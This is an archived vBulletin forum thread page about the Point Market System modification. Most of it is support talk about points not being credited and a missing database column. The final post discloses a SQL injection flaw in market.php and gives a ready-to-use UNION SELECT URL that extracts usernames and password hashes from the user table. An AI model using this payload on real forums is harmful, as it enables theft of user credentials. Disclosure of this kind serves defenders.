vb.org Archive
Page 179 of 223 « First 79129169177178 179 180181189 Last »
Show 40 post(s) from this thread on one page

vb.org Archive (https://vborg.vbsupport.ru/index.php)
-   Modification Graveyard (https://vborg.vbsupport.ru/forumdisplay.php?f=224)
-   -   Major Additions - Point Market System 3.1x (https://vborg.vbsupport.ru/showthread.php?t=232676)

Staxed 04-10-2011 05:06 PM
Has anyone had an issue with the market not writing winnings to the points field in the database?

I just set everything up yesterday and was testing it out today. I realized that if I manually award points to someone from the ACP, or if I use the gambling area and play the 'higher number' game and win...no points are added to the users account.

I know the setting is set correctly for the point field in options, because the balance shows the correct number, and goes down when gambling...it just doesn't go up when I win, or give manual points...

madkidz 04-10-2011 08:07 PM
Hi, this maybe stupid but can members use paypal to buy points withi this system?

madshark 04-11-2011 03:22 PM
Quote:
Originally Posted by Staxed (Post 2182983)
you might want to go into your database and delete all the market tables, the reimport the product you edited, that should fix it as long as you did the edits correctly.
Thank You that worked :)

I have vbexperience running as well I'm a little confused of the integration between the two how do exactly do I integrate the two? thanks.

appleballs 04-13-2011 05:16 PM
Quote:
Originally Posted by Staxed (Post 2182428)
for anyone that doesn't want to edit the file themselves, here's an updated product
I just installed Point Market System. I'm getting the following error when I try to edit a store item:

Quote:
Invalid SQL:

UPDATE market_store SET
`name` = 'Target Gift Card',
`amount1` = '200',
`amount2` = '0',
`iscategory` = '0',
`parentid` = '1',
`payment` = '4',
`type` = '0',
`quantity_total` = '0',
`order` = '0',
`description` = '',
`instructions` = '',
`image_small` = '',
`image_big` = '',
`active` = '1'
where marketid='2';

MySQL Error : Unknown column 'image_big' in 'field list'
The 'market_store' table looks like this:

Quote:
mysql> describe market_store;
+----------------+------------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------------+------------------------+------+-----+---------+----------------+
| marketid | int(10) unsigned | NO | PRI | NULL | auto_increment |
| name | varchar(50) | NO | | NULL | |
| parentid | int(6) unsigned | NO | | NULL | |
| iscategory | tinyint(3) unsigned | NO | | NULL | |
| amount1 | decimal(12,2) unsigned | NO | | NULL | |
| amount2 | decimal(12,2) unsigned | NO | | NULL | |
| payment | int(6) unsigned | NO | | NULL | |
| type | int(6) unsigned | NO | | NULL | |
| description | text | NO | | NULL | |
| instructions | text | NO | | NULL | |
| image_small | varchar(150) | NO | | NULL | |
| image_big_1 | varchar(150) | NO | | NULL | |
| image_big_2 | int(12) | NO | | NULL | |
| image_big_3 | int(12) | NO | | NULL | |
| image_big_4 | int(12) | NO | | NULL | |
| image_big_5 | int(12) | NO | | NULL | |
| rating_total | int(12) unsigned | NO | | NULL | |
| times_rated | int(12) unsigned | NO | | NULL | |
| quantity_total | int(6) unsigned | NO | | NULL | |
| order | int(6) unsigned | NO | | NULL | |
| active | int(6) unsigned | NO | | NULL | |
+----------------+------------------------+------+-----+---------+----------------+
21 rows in set (0.01 sec)
So the field 'image_big' does not exist in the table. What's the best way to fix this?

Staxed 04-13-2011 05:36 PM
did you upload the product I attached after you had already tried the one that came with the package?

If so, you need to go into your database and delete all the market tables and then reupload the product I attached

I'm at work right now, but I'll look at the code when I get home and see if there was something else missing that might be needed. I haven't actually tried to install a new item with mine at all so haven't seen that error.

appleballs 04-13-2011 06:18 PM
I first installed the product using the xml file from the original package, which fails because of the 'big_image_1' error. I then deleted all the market tables, uploaded your xml file and then did the install again (which worked). I was able to create a store item and store category. When I tried to edit these items I got the sql error.

appleballs 04-14-2011 05:30 PM
Any luck with this issue?

appleballs 04-15-2011 11:14 AM
For now I made the following changes to make this work:

admin/market_store.php line 381 I added:

PHP Code:
`image_big_1` = '" . $db->escape_string($vbulletin->GPC['image_big']) . "', 
and added a new field to the 'market_store' table:

alter table market_store add column image_big varchar(150) not null;

Will this work? I am now able to edit store items but are there other issues to consider?

Sai01 04-16-2011 05:08 AM
I get database error when trying to upload the plugin product-pointmarket.xml

My vbulletin version is 4.1.3

any idea?

high6 04-16-2011 07:23 AM
*sighs* This doesn't even surprise me anymore.
http://www.exploit-db.com/exploits/17141/

You forgot quotes around the input. You can use this exploit to get users passwords/salt.

Code:
http://www.forum.com/market.php?do=cat&id=1+union+select+1,2,username,4,5,6,7,password,9,10,11,12,13,14,15,16,17+FROM+user+LIMIT+0,10--


All times are GMT. The time now is 12:30 AM.
Page 179 of 223 « First 79129169177178 179 180181189 Last »
Show 40 post(s) from this thread on one page

Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.

X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.03628 seconds
  • Memory Usage 1,753KB
  • Queries Executed 10 (?)
More Information
Template Usage:
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)bbcode_code_printable
  • (1)bbcode_php_printable
  • (4)bbcode_quote_printable
  • (1)footer
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (6)option
  • (1)pagenav
  • (1)pagenav_curpage
  • (4)pagenav_pagelink
  • (4)pagenav_pagelinkrel
  • (1)post_thanks_navbar_search
  • (1)printthread
  • (10)printthreadbit
  • (1)spacer_close
  • (1)spacer_open 
Phrase Groups Available:
  • global
  • postbit
  • showthread
Included Files:
  • ./printthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/class_bbcode_alt.php
  • ./includes/class_bbcode.php
  • ./includes/functions_bigthree.php 
Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • printthread_start
  • pagenav_page
  • pagenav_complete
  • bbcode_fetch_tags
  • bbcode_create
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • printthread_post
  • printthread_complete